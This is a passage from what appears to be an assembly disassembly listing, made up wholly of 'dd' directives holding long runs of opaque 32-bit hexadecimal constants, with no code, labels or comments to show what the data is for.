		dd 614FDF3Ah, 39B10F14h, 0A70E9CC8h, 73B9EE67h,	28032246h
		dd 0F1512FB7h, 8052FA33h, 0D097994Ch, 0DC4B0094h, 8F21DB53h
		dd 82F0DE2Fh, 58EE825h,	5C218534h, 44F87AC2h, 1817407h
		dd 0C891EE9Ah, 0D48EB4E6h, 67019E22h, 0FD27879Dh, 4ECC0116h
		dd 130DF8B9h, 0FA2C25h,	89F809A6h, 6E1CEE3Dh, 1A802D5Ah
		dd 58A5154h, 301F0028h,	0A6A2814Ah, 851489E4h, 81D4D0E7h
		dd 4779E64Bh, 19E93AE4h, 811E8CCh, 0DC21809Fh, 0D30C79E0h
		dd 0C6560097h, 491E4F09h, 7D00F6C0h, 828B556Fh,	0D9EF33E4h
		dd 18096030h, 0C87950E8h, 3052EBEAh, 0E2AE2067h, 503FA79h
		dd 0C677EF76h, 0F334C870h, 0EAACA84Fh, 0C97300EBh, 284625ADh
		dd 0D21457CCh, 80A82B7Ch, 336839A4h, 11B660ADh,	0F292B993h
		dd 2FD23B01h, 32823EC9h, 218E84D1h, 0D3209171h,	9590626h
		dd 20C3BFCh, 996833C6h,	5E961858h, 3A4BF084h, 83187C00h
		dd 0F3FE1AE4h, 0AB18C6E3h, 99725119h, 5E914A00h, 27AA88F6h
		dd 22FE00ECh, 669E07C3h, 0DF07199Fh, 1B1F1839h,	0AB9CE6B0h
		dd 0F34318A4h, 0DCE5E950h, 0CCA7F124h, 0A24FAC03h, 28082608h
		dd 0F5458048h, 0C97062F1h, 0FF10E500h, 97D0CA3Dh, 0A9AC61B2h
		dd 4375CF5Ah, 93A9D6C8h, 218899Eh, 984383A8h, 21100083h
		dd 9FC20EF3h, 800FB0AAh, 0C088DEB7h, 0B99663B5h, 3C1017EAh
		dd 669004E9h, 6422C3F9h, 0C8074D99h, 623E38E3h,	97758067h
		dd 608B49A5h, 7B44007Eh, 6506A7D0h, 5005EE7h, 96478E0Ch
		dd 686D64h, 431B2874h, 27E1DB6h, 8E8F400h, 0CCD59526h
		dd 0E0A700DBh, 0CD3CBB59h, 0D7009C4Bh, 34F8A605h, 3A63BAh
		dd 7D1602A0h, 0C2BDDF65h, 47DE2001h, 294A7BFDh,	0FB05DCh
		dd 0A30685C5h, 0E1846775h, 9317A703h, 0D1BFA65Fh, 0F7FC9978h
		dd 0A4921ADFh, 0F36048F8h, 445C9BBCh, 1C007740h, 713D4513h
		dd 1CB3C581h, 40D0DC19h, 0F2473051h, 570FF998h,	0A0FD4358h
		dd 22938BFh, 0E753013Ah, 0CF3994AFh, 8C4CC6Eh, 5600CE7Eh
		dd 8833E90Fh, 759AF7FDh, 4CDC0E8Ah, 7E0AEE6h, 2DEB11E3h
		dd 630F3572h, 12A2DEh, 4742242Bh, 8EDD0043h, 0E269AD3Ch
		dd 0B0F4D4D3h, 77D8E660h, 0E5C79Ch, 15885B78h, 0C386D533h
		dd 29CDF500h, 0B84ED430h, 458530Eh, 0DB4F0CEEh,	3085101Dh
		dd 0B618B304h, 0D30F3D2Eh, 804C7D13h, 76CF5774h, 0E48803C1h
		dd 497C7582h, 6F192811h, 0FCD5810h, 0A0A529ACh,	4AAE7BF8h
		dd 0CEF10FBEh, 30E924A3h, 0B2310Eh, 0C91269A9h,	6100C875h
		dd 953B074Eh, 0CC7D5Ch,	3DD4A815h, 0F0AA3F7Ch, 0A122FC1Eh
		dd 51805340h, 5C2B5CC1h, 5503E57Dh, 0DB79F13Dh,	4CE2BFC0h
		dd 0FD94FE00h, 6B9131D7h, 0AFE000CAh, 7553BBB5h, 7600D0CFh
		dd 61104935h, 0A52C2Fh,	922E4A37h, 66AA419Ch, 2638A300h
		dd 67608DC7h, 0FFFE0150h, 0C2C4B5D0h, 0FC1621B4h, 0C900BE76h
		dd 0BBA9FDA5h, 0C39C1Fh, 147C5506h, 19E07890h, 0AF37600h
		dd 687174ABh, 52E802DCh, 153D0B8h, 1C3C6DE0h, 9507FE7Ah
		dd 77406B31h, 9D0C3B40h, 24AB0051h, 0FDFEA9E8h,	0C1015672h
		dd 8E044662h, 2980C911h, 7B4117DFh, 0F23F6682h,	43EE80C0h
		dd 0AF1E06Ch, 84FEBDh, 0E7212BF5h, 5593331Ch, 9ED9D100h
		dd 0DD6B4B76h, 0B4731D51h, 383EC05Ah, 44076A30h, 0C5698D0Eh
		dd 0F79603E5h, 90C09F70h, 0C48586h, 518F4ACDh, 6993AC27h
		dd 0AFE138h, 31A9ED08h,	1E55C0Fh, 9DF2F1Dh, 0C81EBC4Ch
		dd 0DEE07CB2h, 0FBC88000h, 3715F15Bh, 0C7D800F3h, 0B8095CCCh
		dd 0BC008C65h, 59D064E8h, 0F1B2100Ch, 1805024h,	75C23ADDh
		dd 0ECD7ADD8h, 4301F737h, 2340D451h, 0CDC5C57h,	0A66800FDh
		dd 49C7E2Bh, 191FD088h,	0A3431BA5h, 0A8F34851h,	7999BCh
		dd 7AC12776h, 57E13885h, 0E7D34E1Eh, 0A0707C9Eh, 933675h
		dd 0FAD9B3D8h, 0CDB23ECCh, 0C1ACBE00h, 0A2155418h, 9FEB0062h
		dd 6B24C5B0h, 8704F730h, 0CB22D5D9h, 26CD0C80h,	68FB30C4h
		dd 83588A11h, 5DE83F00h, 6ECD60E9h, 0C3DB1EECh,	485E805Fh
		dd 0F50A9DC9h, 96430500h, 86ACE8Ch, 0D8C70BCDh,	6B0E1094h
		dd 0EA41ABAFh, 20490D0Fh, 5A006615h, 0DBB6E7DEh, 1C5F6CB0h
		dd 40FFCE7Eh, 1F68C52Eh, 0D80917D4h, 2239C6h, 62F49576h
		dd 9018C01Ch, 9BF23327h, 2D092BF6h, 0A08D21CBh,	8B034100h
		dd 0FCA200C4h, 0BD6EDB5Ah, 9E0790EDh, 74516B0Ch, 0C16421F0h
		dd 0FC380094h, 3F42E5B1h, 0AE3A66F0h, 468BA43h,	2DB7031Eh
		dd 0E5CA0080h, 1D09245h, 0F9817AD0h, 50EC6A51h,	955702F0h
		dd 0FE329802h, 6BCC44EDh, 0F996B050h, 38FCD0h, 0FEBE4705h
		dd 0E9A918CBh, 108AB024h, 7B267280h, 0EE839DBCh, 9A5700CAh
		dd 0D9215582h, 0FF60BF8Ch, 0C9C52A78h, 58F700E9h, 9BE778CFh
		dd 0DD00D7C4h, 0AED92969h, 3043C7A2h, 0C70CC6Ah, 4D7922F2h
		dd 761A142Ch, 24005C17h, 1F8AB618h, 279C3363h, 880087A8h
		dd 0E4E0400Ch, 10D3856h, 21E12C32h, 0CC84956Ah,	6F00C076h
		dd 6851F7F5h, 1DB9BE86h, 0C01F99A3h, 80FD9501h,	0C900A067h
		dd 0DEECAAE7h, 27E2DF8h, 0E4381041h, 4863759Dh,	80C25FA9h
		dd 0C13509A1h, 989884ADh, 67A1584Eh, 0E11450h, 23805FFEh
		dd 17A4C321h, 83CAE600h
		dd 789826AEh, 8A270DC0h, 20489B1Bh, 0D60C6EABh,	0A8AC4A91h
		dd 0F4C600CCh, 16A13405h, 8500C4A5h, 0AF3A7817h, 12CB5D8h
		dd 3DED38ACh, 27BB1DEFh, 4F0610E0h, 0B0BA57C0h,	783815EEh
		dd 69B0BDAh, 1C8C8A7Ah,	0D28D2900h, 0D8FA99FFh,	887968F8h
		dd 0DC13C52Ah, 0F276BE01h, 486A5056h, 9292E0BAh, 0E61002C2h
		dd 36C0EEBBh, 0CE489111h, 0FCD88A28h, 90AA3362h, 7E432A08h
		dd 8080FB5Ah, 479C8D76h, 560EEECCh, 14A8C37Bh, 1D1300C8h
		dd 0CD5B7573h, 0CCE4EB03h, 90350A51h, 29C963Ah,	2C826ACBh
		dd 0F4B76C49h, 370F6ADh, 7D1B6907h, 0E9AC7A97h,	58DC00F7h
		dd 283CC961h, 0D50C73D3h, 0D0BA1296h, 5DBD4016h, 7F513200h
		dd 0B773AFF4h, 3DDE0FA3h, 6E432441h, 7800800Bh,	0A8441E4Eh
		dd 0CC629Bh, 0E7377A9Ch, 0C0FF15CFh, 2B0F3200h,	170994A9h
		dd 74870062h, 8144DC54h, 0C0263FD6h, 0DB0184ECh, 52A098B5h
		dd 811DC181h, 80C973AEh, 93CED5B0h, 705820Eh, 1369D1F5h
		dd 0D2C7606Ah, 0B0287B5Eh, 0FE0194ABh, 0B3C20D6h, 0DC34AF2Bh
		dd 2AE688h, 0A7DD16FDh,	0AAC565E0h, 1C98510Ch, 476780Fh
		dd 0A3979D03h, 7F88C06Bh, 0D1A2603Ah, 8B1FD418h, 0A3D2A62Ch
		dd 688E4900h, 485069F8h, 3F032573h, 0ED51CDC5h,	0D83AC186h
		dd 0D310492h, 0C080484Ch, 0F2B664Ah, 0C0F9F0DCh, 0A3023660h
		dd 0B90CCF0Bh, 0B0571BA6h, 44065831h, 0EB560100h, 93079C3Eh
		dd 4D5A4539h, 0EA1F8720h, 6DCAA880h, 0FA1721C0h, 382E09h
		dd 30F8273Bh, 2F060A19h, 0BCC00469h, 0B7EC8787h, 5A77F0E8h
		dd 0DB3D8E6Bh, 60B31D16h, 3A5000BCh, 0E5AFC4F0h, 586C039Ch
		dd 0E00CE756h, 39514D88h, 2AF0BA00h, 0ADFDA602h, 0BFB20185h
		dd 267F57DBh, 88CEC8D5h, 10F0C800h, 0A981AB48h,	650C003Dh
		dd 0B4B59080h, 244AACD3h, 0D897F480h, 34870014h, 42531154h
		dd 0E000ECF8h, 21688217h, 171F3F2h, 702BC2AAh, 800A320Ch
		dd 0F6113B78h, 3D6379Fh, 906F6263h, 0FC0B9E4h, 0D1027B25h
		dd 7202E151h, 0F0E055F9h, 5E1604A4h, 0FA03AB5Fh, 70035B33h
		dd 8DD20010h, 494E2862h, 0F049B71Bh, 51BF0080h,	0D9129522h
		dd 0C8BCAB87h, 88B711h,	7F2043CBh, 0A8B28EE7h, 8166BA00h
		dd 0DCE4CEA3h, 0EA375CF9h, 89D2D401h, 0CB9DF758h, 76B8DFDBh
		dd 82002AA7h, 5AF1237Ah, 777007A0h, 0F7B41F1Ch,	8FBBC068h
		dd 441F293Bh, 1BA04A0Fh, 0D6C94154h, 98280A3Dh,	0E1064700h
		dd 0ADB12241h, 45C6D48h, 9FED3730h, 0D3D008D7h,	3B765233h
		dd 5C09095Fh, 0A18084h,	708F8A2Ah, 0A6780D7Dh, 40E76324h
		dd 0B0671B16h, 3F526030h, 50A1FA1Ch, 4A80FDh, 0C0B9A892h
		dd 0F3E9ABC1h, 3FB6510Eh, 1A248457h, 0E7531CD3h, 8721F9D0h
		dd 0DA9400C6h, 3074C14Dh, 7A008098h, 3F06BE0Dh,	0AEA0Bh
		dd 0FADA53D0h, 41E0C9C2h, 3902A02h, 805ED448h, 5CC3ECC0h
		dd 0B7500096h, 0F1874055h, 0D8044E04h, 0F4E70598h, 22D6B080h
		dd 47250138h, 6D714B40h, 4831C460h, 2D39F804h, 16C24106h
		dd 2A2066FCh, 0A8C3AAh,	4CBC0636h, 0C16D835Fh, 73671F0Ah
		dd 478398C0h, 0A8ED26CFh, 589132E7h, 3074C68h, 0C029F224h
		dd 74FF4EFBh, 304DF4Ch,	125135A2h, 0FAD7E032h, 0BE7B002Bh
		dd 0B2E4226Ch, 0B97185FDh, 0ECF47101h, 73441A9Fh, 0FAD69430h
		dd 0E95100C9h, 7CBCA8EDh, 381DC6CEh, 106690FDh,	5836A86Ch
		dd 2AC05C05h, 0BF4125D2h, 79D80A00h, 9F648C01h,	27E70FCBh
		dd 0F5E0FEB2h, 92EF9437h, 0C3B3D00h, 6A02B639h,	0B3410043h
		dd 27DB7D9Dh, 3E602889h, 0B18DBE20h, 0D3E0C0DEh, 214782D1h
		dd 7927FA00h, 0E46BAED5h, 30611CD4h, 1AF7C0E8h,	299BA15h
		dd 0FD609104h, 34A285B9h, 0C79389C7h, 1A3D051h,	3EB05785h
		dd 99D78E09h, 0AAF0B8C1h, 36F9C9F1h, 9A8C8CA5h,	0CE2700D8h
		dd 13D93ACAh, 167600DFh, 5AC6B0E3h, 439D5D1h, 736402DEh
		dd 0C0D86E55h, 88C57574h, 9F004F53h, 7F99D5EDh,	599636B9h
		dd 338700B5h, 0E8328284h, 2729BCB0h, 4224E202h,	0E5D946E4h
		dd 54450688h, 0E87A116Dh, 0BF76930Eh, 55CA1CB4h, 6D838C1Ah
		dd 0AD8DB50Bh, 34C5B012h, 74530891h, 0C560A1D1h, 39E8C2ECh
		dd 4D4058E6h, 0FE00786Fh, 2414080Fh, 0C85891Bh,	54B8CC03h
		dd 73008266h, 0FB9C315Eh, 1DD8C8h, 9DB5BEC5h, 0B3C622D1h
		dd 705B25h, 0F9464434h,	144D0013h, 668FB46Fh, 0E000FFF2h
		dd 0B858F463h, 2D62DA5h, 0DABB3E33h, 9C4008F1h,	72002A8Fh
		dd 95048B19h, 0B2940A59h, 0B7B91280h, 842403C4h, 0B0008947h
		dd 9BD10824h, 0EFBCDC2Fh, 0E27CB30h, 76020F09h,	464530C1h
		dd 344087C5h, 0C7018B2h, 7103Fh, 0E952FC6h, 7C8BBDBAh
		dd 0A2238F00h, 0DAD7E99h, 0F2F8EAh, 0BC51B8B1h,	6A98DAC6h
		dd 0E2BDB600h, 0CAF52045h, 62A40029h, 0ED0C2D9Dh, 0D6C23F3Eh
		dd 0E0315DC7h, 3C058614h, 5680439Ah, 0E703CFE6h, 72003F76h
		dd 0A121D735h, 196B0Ch,	4A02D4DBh, 0FF24B5F2h, 5355140Dh
		dd 17EC115Bh, 7DE08Ch, 0D32904B6h, 6D595F71h, 2303C0B1h
		dd 0B0CC16B5h, 1F474450h, 0C7FBE2E4h, 0A041BD04h, 7D3F98A6h
		dd 0CD936703h, 0D0E61857h, 0F420951h, 0D67C2CB2h, 724A3C00h
		dd 0D00547Ah, 0F4824014h, 2362580h, 0DEF795C4h,	0CC800342h
		dd 0CA7DD054h, 700D198h, 6B31338Eh, 798D75Ch, 0F8FC4CACh
		dd 17FEE024h, 8E326541h, 0C29C2057h, 3EE460DFh,	0F8BE3C4Eh
		dd 0A65F100h, 6F2F0CFBh, 15D0C900h, 3FB87BA4h, 8DE2004Dh
		dd 9E189760h, 0FA006889h, 5B8422F4h, 3C26C0Bh, 47368574h
		dd 1B88F7C6h, 0D7F03009h, 10E7F300h, 98F9D97Eh,	27D60071h
		dd 0C29063DCh, 3600260Ah, 0DE601429h, 36DDD85h,	0FB2FD825h
		dd 280112BFh, 0C8CC063Ah, 0F8D49198h, 0DC8950EFh, 0CB8D00B1h
		dd 732BEE13h, 927EE4DEh, 913F18E0h, 662F8062h, 241A7753h
		dd 30E900A8h, 59D60BA4h, 4800C7BDh, 674E0573h, 869D2Bh
		dd 0CFE86F58h, 5469B606h, 8039FE00h, 24614D5Dh,	2B7EA4h
		dd 0F6262807h, 1E480479h, 8C76E100h, 86B0C366h,	9EFCF1h
		dd 6E711F40h, 118E5EF3h, 7A4D10Eh, 9B166027h, 0DB8FA6h
		dd 746B77EDh, 0A43BD1Fh, 0DD274500h, 91675C6Fh,	525601E6h
		dd 660D9FD1h, 268C70CFh, 12A33200h, 8521405Fh, 0C88001D7h
		dd 0DBC0FBF8h, 9B35E417h, 0DFD36A0Fh, 56AE00DEh, 1C12EBh
		dd 683D3189h, 0A8D1B486h, 81327500h, 4D7F6513h,	0C0CB4CB8h
		dd 0E2191D05h, 0BE4CA04Bh, 0E61F1200h, 6705790Fh, 8BE03CCCh
		dd 0F8360407h, 0D3A110BCh, 4800AB97h, 18091752h, 5C5053FEh
		dd 0C62C8167h, 56B500F5h, 0D6C3776Bh, 0D224D873h, 9B806C9Fh
		dd 0B9210A5Eh, 0CB5A0067h, 0C7FF0FB1h, 3F001869h, 606A8D3Bh
		dd 2C83ABDCh, 1C07341h,	4F3215F4h, 65B080B4h, 0F2934A39h
		dd 2BD10F2Ah, 9780374Dh, 49DEB4FEh, 0ACF0AB7Dh,	46333B00h
		dd 994B59A9h, 5ED002B9h, 375D5116h, 69AFE6C0h, 141B8D00h
		dd 6B4BE542h, 0E622C6Fh, 0FF310065h, 0C25D86DAh, 8B727002h
		dd 0E0CB4B28h, 0F0241EF8h, 0DF1000FFh, 2257504Fh, 0FC2C0381h
		dd 111D9164h, 0F69F5A47h, 0BE83C5B5h, 0D41A155h, 0CDC420h
		dd 7ADA72B6h, 24D0A94Ah, 0C5E9F700h, 8B911DFCh,	0C8490069h
		dd 8986D466h, 10FE379Fh, 0FEB5D30Fh, 467500CDh,	0F781ACh
		dd 0B724F0B1h, 7D06CC2Ah, 0E789AD03h, 0A1808ED1h, 0F9E06411h
		dd 233E00D6h, 5A368148h
		dd 0BD003213h, 588DC4F1h, 1FD32508h, 80FB101Ch,	0E149D299h
		dd 0F40033DAh, 0E513582Dh, 98C73D1h, 5F2179B6h,	353CF000h
		dd 4001B37h, 31A77C1Fh,	0DC76CBh, 0AFE82E5h, 5DAC15E8h
		dd 52A41D01h, 0FA2462A0h, 1D6FDFCh, 0DB214664h,	0C4946811h
		dd 0ABEEFBACh, 10731030h, 0DEF683h, 0E7B303EEh,	9B0897A1h
		dd 47ECCB00h, 0AA5E4E48h, 46C92635h, 57A0002Ch,	915BCE73h
		dd 15B52Eh, 11954200h, 0BAE4CFD2h, 0CD140130h, 0D99FA945h
		dd 10A0CFF0h, 1277ECEDh, 493C6100h, 0E021E65Ah,	1655EEEEh
		dd 0A8EA6E78h, 3B6A0066h, 0B3405CB5h, 9BE9039Ch, 4EB2733Dh
		dd 690D18C0h, 7AAA3103h, 2B5B0h, 7872EF71h, 35583641h
		dd 40AFC00h, 0E8FA5C8h,	6CE5E81h, 20484F8Ch, 41D0C72h
		dd 1B81460h, 57E125C7h,	2BF46Fh, 61318399h, 35001179h
		dd 0B6C15C4Bh, 0BDFD8Eh, 64BBDD0Eh, 0C4D2586Ch,	0A25259C1h
		dd 218028E9h, 0B64492Bh, 327777B7h, 33A5CC03h, 0B29250Dh
		dd 533D4E68h, 3DFD4C8h,	56CD491Bh, 60349338h, 2D855970h
		dd 0B8004A30h, 9525C572h, 0D4D998h, 0F2DECDBBh,	7FE81232h
		dd 88C21600h, 3353C4E4h, 5B822473h, 5C778CDCh, 0E5007E69h
		dd 76BB8D51h, 0E7A165h,	87CFEA74h, 779E9DE4h, 6C90FE00h
		dd 0F9663ADh, 166D3F45h, 0D8F14A18h, 890DAE58h,	50EF752Dh
		dd 67E8E0h, 0BB4AA48Fh,	0C5A0EC7Ah, 0E3757E18h,	1D3431h
		dd 6FD9737Bh, 43DB394Eh, 72DD3505h, 0DC492982h,	58D019Eh
		dd 76D4F54Ch, 188400AAh, 0FD582FDBh, 94A8C2A9h,	0F9A0012Eh
		dd 18987C6Fh, 87708903h, 0E09091FFh, 170CCCh, 9408639Eh
		dd 935BF03Dh, 598C3F03h, 0D0D27095h, 605D23B4h,	181D79FAh
		dd 0BE0015ECh, 748CFB05h, 7AB3B33h, 63AFB4A3h, 0E940A625h
		dd 9022590Eh, 79098555h, 2703AC5Fh, 0E5FEA78h, 92DE1551h
		dd 0C1006E69h, 0C3EDE6AFh, 0B3948000h, 6657B4F6h, 28DF0A85h
		dd 81900B7Fh, 10CADD0Ah, 5CBFEC96h, 0D9277500h,	0A89317B2h
		dd 0F237ABCh, 0A79F7D43h, 0D660D4AEh, 4D6BD068h, 651E0F05h
		dd 0FC00C067h, 4E54E3F8h, 0B0BB0271h, 8013D351h, 0C6023489h
		dd 19C060D2h, 0C03B34EAh, 0CB290079h, 0AC8D7657h, 0C5E73D30h
		dd 0B8107315h, 0D0D89500h, 0A96104C4h, 0F9F1AF50h, 0F613D702h
		dd 0C949994Eh, 93C80E64h, 0DC2B1E81h, 3455CEC3h, 836808B9h
		dd 8FA29921h, 8BFC889Ah, 10B27D7Bh, 0F91D13h, 3E2334B0h
		dd 0C651F2Dh, 0E475F3E6h, 2094EB9h, 134F9AE1h, 8BC2D0B4h
		dd 0DAAF07AAh, 8C3D332Ch, 0AC921508h, 8AF80F1Fh, 0D9DD5347h
		dd 51C09427h, 677295Ch,	83812761h, 340C8069h, 1817B8F2h
		dd 1FBD0AE8h, 80F83280h, 657552EEh, 350C4C6Fh, 804A7CCh
		dd 0E799C0EAh, 71BC484Ah, 86F35200h, 0E8DB2854h, 0E1BD06D9h
		dd 58EDD4F1h, 3D85790Fh, 8150E088h, 91F111Bh, 0E59FF7CAh
		dd 625EA200h, 680087E3h, 9DCF2F4Dh, 95A792h, 9FB7FE83h
		dd 53F57CEFh, 466ADA00h, 2792B880h, 0E913004Eh,	0EEDC4F5Ch
		dd 0DD744014h, 0D215E63h, 2B55D019h, 7BEA03ECh,	0F460C8BEh
		dd 7C327E90h, 0AC9EA100h, 44F5EEA8h, 0B8755074h, 804700D0h
		dd 0CBF195B2h, 10C192EAh, 3B9AC0D8h, 0E0B8E70h,	0E21697Dh
		dd 0AE21018Ch, 149AB500h, 4D3D1217h, 0BE781C8Ch, 0E1610670h
		dd 0D7017063h, 796E0784h, 47E13315h, 0DDD8A9B2h, 11143D30h
		dd 88D75CD6h, 8C68807Fh, 4585B513h, 0A2972A0Bh,	2ABFF86Fh
		dd 4694328Bh, 134F01C3h, 0DD475C84h, 1A88450Ch,	26FF416h
		dd 21440B31h, 0EC605442h, 50C15391h, 94024546h,	8C089044h
		dd 8184C4FDh, 58B1514Bh, 0AA88058Ch, 3D9A00C9h,	42617E3Eh
		dd 9126F2C4h, 0EC0058FAh, 4E4FCDA4h, 7F402A75h,	2B670088h
		dd 0C6ACCBEBh, 94CE543Eh, 229EE0FFh, 3A78BC5Eh,	4A800134h
		dd 0D1963250h, 0AC185B47h, 0A207776h, 0E360059Ah, 0C3FD2855h
		dd 2B98899Ah, 2A002474h, 2DB7AE59h, 0E0C31Bh, 967D314h
		dd 136C5C2h, 96680E0Fh,	6F10C004h, 0B071A6h, 0CA932B40h
		dd 8528B292h, 5E2A7200h, 0D9200251h, 99AC00A8h,	625B3ECFh
		dd 0BC0EC396h, 0E08C1D81h, 0FD5EE5C4h, 87000EFh, 4BC925FAh
		dd 0F5485250h, 0FB04424Ch, 0D7B878F0h, 314B1000h, 0A814A3Bh
		dd 0F539013Eh, 3495505Eh, 74318027h, 0A3666397h, 0F8320CEFh
		dd 710877CBh, 17303060h, 7B063C7h, 0FFDD6ABh, 683E36C8h
		dd 5777B50Ch, 1B64925h,	8BDED98Dh, 0D4FA05E4h, 0F0CE637h
		dd 30234095h, 0A1756008h, 7CEA8693h, 68DD8F00h,	0F90A4890h
		dd 2A7F0044h, 54D578AFh, 7B184EA2h, 0EE601501h,	6A820935h
		dd 0AC21494Ah, 0CC39C94Ch, 8C008D03h, 0EC72E91Dh, 3B8058D9h
		dd 0C1E75377h, 7826C6C3h, 0CC99B00h, 0FAAE4667h, 94490180h
		dd 0FEEE3C5Ch, 0D2F36089h, 6CE19200h, 4B7053Eh,	0A8FF55DBh
		dd 0BA5C1180h, 0C29691Ch, 0C1FCB180h, 10854C21h, 0E1BF77h
		dd 0B9E2131Eh, 7ECE4E0h, 35AF2FC8h, 834EE0A1h, 0BD066468h
		dd 4D0ED93Bh, 8E77D1h, 0AB3DEACDh, 1EB3AF85h, 61514960h
		dd 0C31CABBh, 0EB3EC1D7h, 0E00021A4h, 0AD83FFD6h, 0C0E22ED9h
		dd 0ED4255B8h, 0EC30BF82h, 0A7AAF975h, 407F00A8h, 73CAC28Ch
		dd 0F400B2FAh, 9525EB72h, 52A9BA44h, 5E0094E5h,	0E41CED7Ah
		dd 1EF4A0F2h, 86E6B500h, 23D7506Fh, 65D20025h, 0F16E9B33h
		dd 0B00214AAh, 4A37DF0Bh, 241C4456h, 804869C3h,	0D2AE2668h
		dd 27001EC4h, 0A41B5AF2h, 1CA64D71h, 0C0E2C886h, 0FB37E92Dh
		dd 1360B6FCh, 0BA325589h, 0B18D0165h, 0AC4990C8h, 0AE088CBFh
		dd 3420F7h, 0DC0165A3h,	283E427Bh, 13E4E50Ch, 14804130h
		dd 0B4AAF7ACh, 0FA80573Bh, 9B41D30Ah, 3924A40Dh, 7E84645Fh
		dd 9001508h, 8C23FDCEh,	84CD2600h, 6CA21383h, 0AE90093h
		dd 0EDCF67CAh, 0BD005E6Eh, 64FFCDF9h, 30A226BAh, 755165ECh
		dd 1C01AB41h, 3F990AB3h, 89512BBh, 70018854h, 4FB7AC09h
		dd 0B557C41Ch, 0B22D9406h, 0A0D9F704h, 40389528h, 77129D39h
		dd 14462356h, 60D0B034h, 0FA411131h, 0A4903C04h, 0F081B102h
		dd 41FE6C4Dh, 91184FF4h, 0A35C6308h, 4067C4BFh,	6E6381E1h
		dd 0D9FE0F7Ch, 45A08EC2h, 40505F05h, 0A63F24A4h, 0E7A31163h
		dd 0E2807288h, 0A6A5638Eh, 0A359FA75h, 44B3F20Ch, 0D9512668h
		dd 0B263801Ch, 384A4C90h, 8EC10800h, 0D5032F6h,	0C1E1DD22h
		dd 0EC8A91FAh, 0B8A0504Bh, 0C0001D59h, 0C2947F3Ah, 1F6BB2A6h
		dd 803E928Bh, 5CE250F0h, 0D92419D6h, 16A8E864h,	25109B60h
		dd 600DF0A5h, 2B4C613Bh, 0C00A462h, 769279C9h, 60FDB763h
		dd 850F3C57h, 0FE4CB10Eh, 6EAAB004h, 2ABC922Dh,	90F64Ah
		dd 507A3654h, 41DE0460h, 31516B00h, 0F1F740D8h,	0B04E0420h
		dd 8CCD63ECh, 0A400DCF0h, 577BB695h, 0E28461h, 2825214Eh
		dd 0CC3B1350h, 8FC7FF00h, 69314A03h, 0A0E355BDh, 0C9804CE1h
		dd 8DAF39DEh, 0BD0F42AEh, 0A0090581h, 0A76934FEh, 40DD2A51h
		dd 23DC00A0h, 0B7E303F7h, 0E8E6DB0Eh, 0AE0373FAh, 130DB9B1h
		dd 997A7Ch, 1D113E54h, 9D72DEC3h, 0BFBDCD00h, 0FD5836CFh
		dd 6B600021h, 14CB8999h, 0F8747E83h, 3499580h, 122D0725h
		dd 4FCD3E51h, 203AA0C4h, 74E04280h, 900ED0Eh, 17D8B929h
		dd 0C79EBD9h, 264551A3h, 65148128h, 16D4DA4Bh, 6700CF0Ch
		dd 7DEC9C20h, 162DE0DEh, 5399AB1h, 361374h, 19437A5Ch
		dd 641D37C9h, 0B5477930h
		dd 8880B3F1h, 752E825Eh, 5F9E01E5h, 0D5DEF4D6h,	4AA4503Ah
		dd 0E038AA70h, 0C0CA8023h, 0FF684C24h, 0DE4F00F9h, 9428BD5Fh
		dd 5A00ED5Eh, 37CB553Fh, 7E65705h, 395D161Fh, 75892CE5h
		dd 22C0D50h, 96B2B113h,	0EE84B800h, 2353B91h, 6E881B8Dh
		dd 0A466A955h, 0A44C6D1Ch, 0A6B549B1h, 9E01660h, 0E4AF55FCh
		dd 68839892h, 0A3919B8Bh, 8567D004h, 0C45D7704h, 0D88826D5h
		dd 0BB6308AAh, 80C2C7A3h, 0B2E6003Dh, 3A19A063h, 0F2B95EE5h
		dd 0F8D1BCD4h, 9B4A2C05h, 602113A8h, 0E2A35640h, 0B00ACD33h
		dd 4894B424h, 1DC5C102h, 81C6079h, 7D810062h, 0CB5A129Bh
		dd 0EFF2D4DCh, 91210B9h, 0C0C71C08h, 2D6BE04Dh,	98573221h
		dd 0B69321FAh, 780384A0h, 797EC005h, 944028ECh,	70EB66E8h
		dd 7B340080h, 86929360h, 0C0D0EF17h, 84C32478h,	16628E40h
		dd 7B4B0019h, 8AE99C95h, 0B6006E5Ch, 0BBE8721Fh, 6AFA152h
		dd 0C40AF0A3h, 0A71D6933h, 5BC0764Bh, 557A1686h, 0F12E1367h
		dd 93BC005Fh, 538EC5DCh, 0EE455D04h, 22840DAAh,	0B3B2C840h
		dd 0FA28F2h, 344A5BCEh,	60186967h, 841E3700h, 7B044081h
		dd 108708FEh, 2B8D398h,	0B3BC613Ah, 0D40061E7h,	0A34C02F2h
		dd 0B55C3CC4h, 54C32821h, 7D0B9F00h, 53FB2A21h,	1528EE92h
		dd 8056CC0Fh, 0F83D0815h, 6B24505h, 0C8E3C0EDh,	47E458F1h
		dd 6B51E31Ah, 28101469h, 46E06A78h, 254A1680h, 6CFA6805h
		dd 20FBE032h, 36E01B92h, 0FF2B7603h, 94541EADh,	49DC88h
		dd 0FEDCB28Fh, 0D5155C33h, 725B2548h, 1F22D3Fh,	0A06621D2h
		dd 30210992h, 0DBC4745Ah, 5B70CC45h, 0AE854B03h, 0C0D93CEBh
		dd 2126A53h, 686B24E9h,	0DC90AA76h, 0C6004EF5h,	491F4178h
		dd 48F11458h, 0A380F434h, 78921129h, 694BFE04h,	88977BBEh
		dd 0ECC400DBh, 9FFAB0Fh, 37F7F319h, 1E907000h, 3006ED85h
		dd 24B288Fh, 61A33F58h,	2F61110h, 0FFA9CCF3h, 1F063F1h
		dd 0D7AFA238h, 0E1DB2143h, 0F9D6F8F6h, 99489A60h, 139D1B3h
		dd 3DBB453Ah, 48CD1510h, 5300B018h, 52717A81h, 0DF2C4C7Ch
		dd 92B580C0h, 0F7E17FCBh, 5781700h, 28FDA71h, 0D49E2E9Dh
		dd 23C704ECh, 7DB4C026h, 973910FDh, 283D80E9h, 4C6E67B2h
		dd 5CA0008Fh, 55A6F25h,	0C14DFFAAh, 0E36B0168h,	3586D265h
		dd 202C9C42h, 0AF61D47Bh, 34117A6Ah, 4A2BD0Fh, 64875FAAh
		dd 64A4C3A4h, 860512DFh, 0ADE70060h, 0B23282D4h, 0E8CABC00h
		dd 0EB98596Ah, 8AEE04FFh, 0C13E3160h, 84B565Ch,	6E8E0F9Eh
		dd 578B90F8h, 15E14C93h, 81D22152h, 12AB529h, 13FCD202h
		dd 99740054h, 0E81A6821h, 6F1263CDh, 0CC201F1Eh, 140EC85Eh
		dd 0FC22122Fh, 0CBC9B030h, 8879994Bh, 56C87F50h, 0D716DBFAh
